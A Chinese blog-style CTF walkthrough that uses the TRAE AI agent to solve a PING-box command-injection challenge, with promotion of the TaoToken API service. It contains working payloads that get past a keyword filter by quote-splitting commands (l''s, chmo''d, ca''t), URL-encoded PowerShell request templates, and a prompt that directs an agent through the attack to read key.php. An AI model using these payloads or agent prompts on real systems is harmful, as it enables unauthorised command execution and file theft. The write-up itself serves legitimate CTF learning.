1. 命令执行题为什么总卡在回显拿不到
CTF 里的命令执行关卡,很多人第一反应是打开浏览器输入框,敲127.0.0.1;ls看回显。但真到自动化阶段,尤其是让 TRAE 这类智能体去跑,问题往往不在“能不能注入”,而在“回显拿不拿得到”。我见过太多人卡在这一步:命令明明执行了,页面却只返回 PING 的输出,ls的结果像被吞了一样。
这道题的核心场景很典型:一个 PING 输入框,后端把cmd参数拼进系统命令执行。目标不是拿 shell,而是读取上一层目录里key.php的 flag。题目本身不难,难的是让 AI 智能体稳定地构造 PowerShell 请求、正确编码特殊字符、解析响应,最后把 flag 回传。整个过程涉及命令注入、过滤绕过、目录遍历、权限修改、文件读取五个环节,每个环节都可能因为一个%26或%27写错而前功尽弃。
我实测下来,TRAE 默认用 RunCommand 工具发 POST 请求时,body 里的&和'没有做 URL 编码,服务器把&当成参数分隔符,l''s被截断成l,自然只返回 PING 结果。这不是 TRAE 笨,而是它缺少这道题的正确请求样本。你需要做的是:给它一份抓包得到的真实报文,让它对比修正,再把修正后的 PowerShell 模板固化下来。
这篇文章会按“题目识别 → 环境准备 → 配置片段 → 验证请求 → 错排查 → 工具接入”的顺序走一遍。适合已经会基本抓包、想用 AI 智能体提效的 Web 渗透测试学习者。你不需要背命令,但需要理解 URL 编码为什么是这道题的命门。下面从 TaoToken 的前置接入开始,把大模型通道先打通,再进入靶场实战。
2. TaoToken 统一 Key 接入 TRAE 智能体
TRAE 本身是一个支持多模型切换的智能体开发环境,但如果你想让它在命令执行题里稳定调用大模型做推理,最好把模型通道统一管理。TaoToken 的作用就在这里:它提供一个兼容 OpenAI 风格的 API 入口,你只需要一个 Key,就能在 TRAE、Cline、Codex 等工具里切换不同模型,不用每个工具单独配一套密钥。
先说清楚它是什么:TaoToken 是一个大模型 API 聚合通道,能做什么?把多家模型的调用统一成Base URL + API Key + Model ID三件套。适合谁?适合需要在多个 AI 编码工具之间同步配置、又不想反复注册账号的开发者。官网地址是https://taotoken.net/?utm_source=taotoken_aicg_blog_end&utm_medium=csdn&utm_campaign=rewrite&utm_content=,API 入口是https://taotoken.net/api,注意 API 地址不带 UTM 参数。
在 TRAE 里接入,核心是改它的模型配置。TRAE 的设置里通常有“自定义模型”或“OpenAI Compatible”选项,你需要填三个东西:Base URL 填https://taotoken.net/api,API Key 填你在控制台生成的 Key,Model ID 填你想用的模型名,比如claude-sonnet-4-20250514或gpt-4o。如果你用的是 Claude Code 类的润色场景,Base URL 同样填https://taotoken.net/api,Key 和 Model ID 按控制台显示填。
这里有个坑要注意:TRAE 的 RunCommand 工具和模型对话是两条通道。模型对话走 TaoToken 的 API,负责推理“下一步该发什么命令”;RunCommand 走本地 PowerShell,负责实际发包。两者不要混。你可以在 TRAE 的 settings 里把模型 provider 设为openai,然后填上 TaoToken 的地址和 Key。配置完成后,让 TRAE 先做一次简单的对话测试,确认模型能返回内容,再进入靶场。
如果你需要长期跑编码或 Agent 任务,可以考虑 Coding Plan,入口在https://taotoken.net/coding-plan?utm_source=taotoken_aicg_blog_end&utm_content=coding_plan&utm_campaign=rewrite。模型对话测试入口在https://taotoken.net/chat?utm_source=taotoken_aicg_blog_end&utm_content=model_chat&utm_campaign=rewrite。API Key 管理在https://taotoken.net/api-keys?utm_source=taotoken_aicg_blog_end&utm_content=api_keys&utm_campaign=rewrite。接入文档在https://taotoken.net/doc?utm_source=taotoken_aicg_blog_end&utm_content=doc&utm_campaign=rewrite。
配置好之后,TRAE 的推理能力就有了稳定来源。接下来要解决的是:怎么把这道命令执行题的请求模板写对,让 TRAE 每次发包都能拿到完整回显。
3. 可复制的 TRAE 配置与 PowerShell 请求模板
这一节直接给可复制的配置片段。TRAE 的模型配置一般写在项目根目录的.trae/settings.json或全局配置里,不同版本路径略有差异,但字段名基本一致。下面是一个 OpenAI Compatible 的配置示例,路径按你本地实际位置调整:
{ "modelProvider": "openai", "openai": { "baseUrl": "https://taotoken.net/api", "apiKey": "sk-你的TaoTokenKey", "model": "claude-sonnet-4-20250514" }, "runCommand": { "shell": "powershell", "timeout": 30000 } }如果你用的是 TOML 格式的配置,等价写法如下:
[model] provider = "openai" base_url = "https://taotoken.net/api" api_key = "sk-你的TaoTokenKey" model_id = "claude-sonnet-4-20250514" [run_command] shell = "powershell" timeout_ms = 30000配置里最关键的是baseUrl和model。Base URL 必须是https://taotoken.net/api,不要加多余路径。Model ID 按控制台实际可用的填,填错会报model not found。
接下来是 PowerShell 请求模板。这道题的正确姿势是:所有特殊字符必须 URL 编码。&编码为%26,单引号'编码为%27,空格编码为%20,斜杠/编码为%2f。下面是我修正后的五个步骤模板,你可以直接复制到 TRAE 的提示词里:
# 步骤1:查看当前目录 $body = 'cmd=127.0.0.1%26l%27%27s&submit=PING' Invoke-WebRequest -Uri 'http://目标地址/start/' -Method POST -Body $body -ContentType 'application/x-www-form-urlencoded' | Select-Object -ExpandProperty Content # 步骤2:查看上一层目录 $body = 'cmd=127.0.0.1%26l%27%27s%20..&submit=PING' Invoke-WebRequest -Uri 'http://目标地址/start/' -Method POST -Body $body -ContentType 'application/x-www-form-urlencoded' | Select-Object -ExpandProperty Content # 步骤3:查看 key.php 权限 $body = 'cmd=127.0.0.1%26l%27%27s%20-la%20..%2fkey.ph%27%27p&submit=PING' Invoke-WebRequest -Uri 'http://目标地址/start/' -Method POST -Body $body -ContentType 'application/x-www-form-urlencoded' | Select-Object -ExpandProperty Content # 步骤4:修改 key.php 权限为 600 $body = 'cmd=127.0.0.1%26chmo%27%27d%20600%20..%2fkey.ph%27%27p&submit=PING' Invoke-WebRequest -Uri 'http://目标地址/start/' -Method POST -Body $body -ContentType 'application/x-www-form-urlencoded' | Select-Object -ExpandProperty Content # 步骤5:读取 key.php 内容 $body = 'cmd=127.0.0.1%26ca%27%27t%20..%2fkey.ph%27%27p&submit=PING' Invoke-WebRequest -Uri 'http://目标地址/start/' -Method POST -Body $body -ContentType 'application/x-www-form-urlencoded' | Select-Object -ExpandProperty Content注意l''s里的两个单引号,在 URL 编码后是l%27%27s。服务器过滤的是裸的ls字符串,单引号分割后 shell 解析时会把l''s还原成ls,从而绕过过滤。chmo''d和ca''t同理。
TRAE 的提示词模板可以这样写,直接复制:
现在需要渗透网址 http://目标地址/start/,这是命令执行关卡。每个步骤都要通过 PowerShell 发包获取响应,分析下一步操作。具体步骤:1. 发现命令注入风险并测试过滤;2. 尝试绕过过滤 127.0.0.1&ls;3. 查看当前目录 127.0.0.1&l''s;4. 查看上一层目录 127.0.0.1&l''s -la ..;5. 查看 key.php 权限 127.0.0.1&l''s -la ../key.ph''p;6. 修改 key.php 权限 127.0.0.1&chmo''d 600 ../key.ph''p;7. 读取 key.php 内容 127.0.0.1&ca''t ../key.ph''p。请给出完整的请求、响应交互过程并求解 flag,特别注意参数中的特殊字符需要 URL 编码。
这段提示词的关键是最后一句“特别注意参数中的特殊字符需要 URL 编码”。没有这句话,TRAE 大概率会直接拼&和',导致请求被截断。加上之后,它才会在发包前做编码转换。
配置和模板都齐了,下一步是实际发请求验证。下面进入靶场验证环节,看每一步的响应长什么样。
4. 靶场验证:从 PING 回显到 flag 读取
验证环境用本地或授权的 CTF 靶场,不要对未授权目标测试。假设靶场地址是http://a6156199.clsadp.com/start/,实际以你拿到的题目地址为准。下面按步骤走一遍,每步都给出请求和响应分析。
步骤1:测试过滤。发送cmd=127.0.0.1%26ls&submit=PING,响应返回“你输入的命令包含敏感字符!请检查命令是否填写正确!”。说明ls被 WAF 或后端过滤规则拦截。这一步的目的是确认注入点存在,同时摸清过滤规则。
步骤2:绕过过滤。发送cmd=127.0.0.1%26l%27%27s&submit=PING,响应里除了 PING 的输出,还多了function.php和index.php。说明单引号分割成功绕过,当前目录内容被列出。这里要注意,响应中 PING 的输出和ls的输出是混在一起的,TRAE 需要能从中提取文件名。
步骤3:查看上一层目录。发送cmd=127.0.0.1%26l%27%27s%20..&submit=PING,响应里出现css footer.php header.php images index.php js key.php start。目标文件key.php在上一层目录,确认存在。
步骤4:查看权限。发送cmd=127.0.0.1%26l%27%27s%20-la%20..%2fkey.ph%27%27p&submit=PING,响应显示---------- 1 www-data www-data 48 Mar 18 2021 ../key.php。权限是000,意味着当前用户无法读取,需要先改权限。
步骤5:修改权限。发送cmd=127.0.0.1%26chmo%27%27d%20600%20..%2fkey.ph%27%27p&submit=PING,响应只返回 PING 输出,没有报错,说明chmod执行成功。权限从000变成600,文件所有者可读写。
步骤6:读取文件。发送cmd=127.0.0.1%26ca%27%27t%20..%2fkey.ph%27%27p&submit=PING,响应里出现<pre>Good luck ! <?php //key5:grjd7nqs ?></pre>,flag 值grjd7nqs拿到。
整个过程的完整 PowerShell 命令在 TRAE 里执行时,输出会包含 HTML 页面结构。你需要让 TRAE 从<pre>标签里提取内容,而不是被前面的导航栏 HTML 干扰。可以在提示词里加一句“只关注<pre>标签内的内容”。
验证成功的标志是:响应里同时包含 PING 统计信息和key5:grjd7nqs。如果只看到 PING 信息,说明 URL 编码没生效,回到第3节检查%26和%27是否写对。
这一步跑通后,TRAE 的自动化闭环就成立了:模型推理下一步命令 → PowerShell 发包 → 解析响应 → 决定下一步。接下来把常见的报错和排查方法整理一下。
5. 常见报错排查:401、local proxy failed 与 choices 解析
用 TRAE 跑这道题,报错基本集中在三类:模型通道报错、PowerShell 发包报错、响应解析报错。下面逐个对照。
第一类:401 Unauthorized。这个通常出现在 TRAE 调用 TaoToken API 时,说明 API Key 无效或没填。检查.trae/settings.json里的apiKey字段,确认是sk-开头的完整 Key。如果 Key 正确还报 401,检查 Base URL 是不是写成了https://taotoken.net/api/带尾斜杠,有些客户端对尾斜杠敏感,去掉试试。另外确认 Key 没有过期,在https://taotoken.net/api-keys?utm_source=taotoken_aicg_blog_end&utm_content=api_keys&utm_campaign=rewrite可以重新生成。
第二类:local proxy failed或connection refused。这个报错说明 TRAE 的 RunCommand 工具没能启动 PowerShell,或者 PowerShell 执行策略限制了脚本运行。在 Windows 上,先确认 PowerShell 能正常打开,然后执行Set-ExecutionPolicy -Scope CurrentUser RemoteSigned放开当前用户的脚本执行权限。如果 TRAE 配置里shell字段写的是bash而你在 Windows 上,改成powershell。还有一种情况是目标地址不通,先用浏览器访问一下靶场地址,确认网络可达。
第三类:reading choices或no choices in response。这个报错说明 TRAE 调用模型 API 后,返回的 JSON 里没有choices字段。常见原因是 Model ID 填错,比如填了一个 TaoToken 不支持的模型名。回到控制台确认可用模型列表,把model字段改成正确的 ID。另一个原因是请求体格式不对,TRAE 的 OpenAI Compatible 模式要求messages数组,如果它发的是自定义格式,服务端会返回错误结构。检查 TRAE 版本,升级到支持标准 OpenAI 格式的版本。
第四类:OAuth 相关报错。如果你用的是 Claude Code 或 Codex 类工具,可能会遇到OAuth token expired。这类工具默认走 OAuth 登录,但接入 TaoToken 后应该走 API Key 模式。在配置里把认证方式从oauth改成api_key,然后填 TaoToken 的 Key。Codex 的auth.json里如果有oauth字段,删掉或改成api_key模式。
第五类:响应里只有 PING 没有命令输出。这不是报错,但最容易被忽略。原因是$body里的&没有编码成%26,服务器把cmd=127.0.0.1和后面的命令当成两个参数,只执行了 PING。检查每个$body字符串,确保&全部写成%26,单引号写成%27,空格写成%20。
第六类:Invoke-WebRequest返回乱码。这是 PowerShell 默认编码问题,响应里的中文或特殊字符显示成。在命令前加[Console]::OutputEncoding = [System.Text.Encoding]::UTF8,或者用-UseBasicParsing参数。如果还是乱码,把响应内容保存到文件再读取,避免控制台编码干扰。
排查顺序建议:先确认模型通道通(发一条简单对话测试),再确认 PowerShell 能发包(用Invoke-WebRequest访问一个已知地址),最后确认 URL 编码正确。三步都过,flag 基本就能拿到。
6. 把闭环固化下来:从单题到可复用流程
这道题跑通之后,真正有价值的是把流程固化。TRAE 的智能体能力不在于一次解题,而在于你把正确的请求模板和提示词沉淀下来,下次遇到同类命令执行题,直接换目标地址就能跑。
我的做法是建一个ctf-cmd-exec项目目录,里面放三个文件:settings.json存 TaoToken 配置,prompt.md存提示词模板,steps.ps1存五个步骤的 PowerShell 命令。每次新题只需要改steps.ps1里的目标地址和文件名。提示词模板里固定写上“特殊字符必须 URL 编码”和“只提取<pre>标签内容”这两句,能省掉大量调试时间。
另外,TaoToken 的 Key 管理建议单独建一个项目专用 Key,不要和日常编码的 Key 混用。在控制台可以给 Key 加备注,方便区分。如果长期跑 Agent 任务,Coding Plan 的额度比按量计费更划算,入口在https://taotoken.net/coding-plan?utm_source=taotoken_aicg_blog_end&utm_content=coding_plan&utm_campaign=rewrite。
最后提醒一句:命令执行题的 URL 编码是通用技能,不只是 PowerShell。换成 curl 或 Python requests,同样要对&、'、空格做编码。把这道题的编码规则记牢,比记住具体命令更有用。